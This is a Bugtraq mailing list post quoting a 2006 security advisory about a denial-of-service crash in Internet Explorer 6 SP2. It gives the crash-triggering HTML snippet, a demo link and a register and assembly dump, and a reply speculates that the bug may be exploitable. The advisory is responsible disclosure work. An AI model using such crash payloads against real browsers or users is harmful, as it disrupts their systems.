Bugtraq mailing list archives

Re: [BuHa-Security] DoS Vulnerability in MS IE 6 SP2


From: "ad () heapoverflow com" <ad () heapoverflow com>
Date: Fri, 26 May 2006 18:56:28 +0200

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are you sure dos only ? got a quick look on it , and if you are able to
control this null pointer , the bug is exploitable, might be good more
research on this bug.

bugtraq () morph3us org wrote:
Hash: RIPEMD160


 ---------------------------------------------------

| BuHa Security-Advisory #12    |    May 25th, 2006 |

 ---------------------------------------------------

| Vendor   | MS Internet Explorer 6.0               |

| URL      | http://www.microsoft.com/windows/ie/   |

| Version  | <= 6.0.2900.2180.xpsp_sp2              |

| Risk     | Low (Denial of Service)                |

 ---------------------------------------------------


o Description:

=============


Internet Explorer, abbreviated IE or MSIE, is a proprietary web browser

made by Microsoft and currently available as part of Microsoft Windows.


Visit http://www.microsoft.com/windows/ie/default.mspx or

http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.


o Denial of Service: <mshtml.dll>#7d6d2db4

===================


Following HTML code forces MS IE 6 to crash:

<applet><h4><title> </title><base>


Online-demo:

http://morph3us.org/security/pen-testing/msie/ie60-1132901785453-7d6d2db4.html


These are the register values and the ASM dump at the time of the access

violation:

eax=00000000 ebx=00000000 ecx=00e78d38 edx=00e7a704 esi=0012a268

edi=00000000 eip=7d6d2db4 esp=0012a228 ebp=0012a25c


        7d6d2d7d e868f9ffff       call    mshtml+0x2226ea (7d6d26ea)

        7d6d2d82 50               push    eax

        7d6d2d83 e835f8ffff       call    mshtml+0x2225bd (7d6d25bd)

        7d6d2d88 85c0             test    eax,eax

        7d6d2d8a 8945f8           mov     [ebp-0x8],eax

        7d6d2d8d 0f85c4020000     jne     mshtml+0x223057 (7d6d3057)

        7d6d2d93 8b461c           mov     eax,[esi+0x1c]

        7d6d2d96 8b4e18           mov     ecx,[esi+0x18]

        7d6d2d99 8365f400         and     dword ptr [ebp-0xc],0x0

        7d6d2d9d 8365fc00         and     dword ptr [ebp-0x4],0x0

        7d6d2da1 8b7e14           mov     edi,[esi+0x14]

        7d6d2da4 8945f0           mov     [ebp-0x10],eax

        7d6d2da7 e88462e4ff       call    mshtml+0x69030 (7d519030)

        7d6d2dac 3bc7             cmp     eax,edi

        7d6d2dae 0f8402020000     je      mshtml+0x222fb6 (7d6d2fb6)

FAULT ->7d6d2db4 8b07             mov     eax,[edi]

                                          ds:0023:00000000=????????

        7d6d2db6 8bc8             mov     ecx,eax

        7d6d2db8 83e10f           and     ecx,0xf

        7d6d2dbb 49               dec     ecx

        7d6d2dbc 0f849c010000     je      mshtml+0x222f5e (7d6d2f5e)

        7d6d2dc2 49               dec     ecx

        7d6d2dc3 0f84b3000000     je      mshtml+0x222e7c (7d6d2e7c)

        7d6d2dc9 49               dec     ecx

        7d6d2dca 49               dec     ecx

        7d6d2dcb 746c             jz      mshtml+0x222e39 (7d6d2e39)

        7d6d2dcd 83e904           sub     ecx,0x4

        7d6d2dd0 0f85a5010000     jne     mshtml+0x222f7b (7d6d2f7b)

        7d6d2dd6 8bcf             mov     ecx,edi

        7d6d2dd8 e8482ffeff       call    mshtml+0x205d25 (7d6b5d25)

        7d6d2ddd 85c0             test    eax,eax

        7d6d2ddf 7430             jz      mshtml+0x222e11 (7d6d2e11)

        7d6d2de1 837e0400         cmp     dword ptr [esi+0x4],0x0


This issue is a non-exploitable Null Pointer Dereference vulnerability and

leads to DoS.


o Vulnerable versions:

=====================


The DoS vulnerability was successfully tested on:

MS IE 6 SP2 - Win XP Pro SP2

MS IE 6     - Win 2k SP4


o Disclosure Timeline:

=====================


xx Feb 06 - Vulnerabilities discovered.

08 Mar 06 - Vendor contacted.

22 Mar 06 - Vendor confirmed vulnerabilities.

25 May 06 - Public release.


o Solution:

==========


I think - this is not an official statement from the Microsoft Security

Response Center - the vulnerability will be fixed in an upcoming service

pack.


o Credits:

=========


Thomas Waldegger <bugtraq () morph3us org>

BuHa-Security Community - http://buha.info/board/


If you have questions, suggestions or criticism about the advisory feel

free to send me a mail. The address 'bugtraq () morph3us org' is more a

spam address than a regular mail address therefore it's possible that

some mails get ignored. Please use the contact details at

http://morph3us.org/ to contact me.


Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all

members of BuHa.


Advisory online: http://morph3us.org/advisories/20060525-msie6-sp2-1.txt


--

Don't you feel the power of CSS Layouts?

BuHa-Security Community: http://buha.info/board/



__________ NOD32 1.1560 (20060526) Information __________

This message was checked by NOD32 antivirus system.
http://www.eset.com




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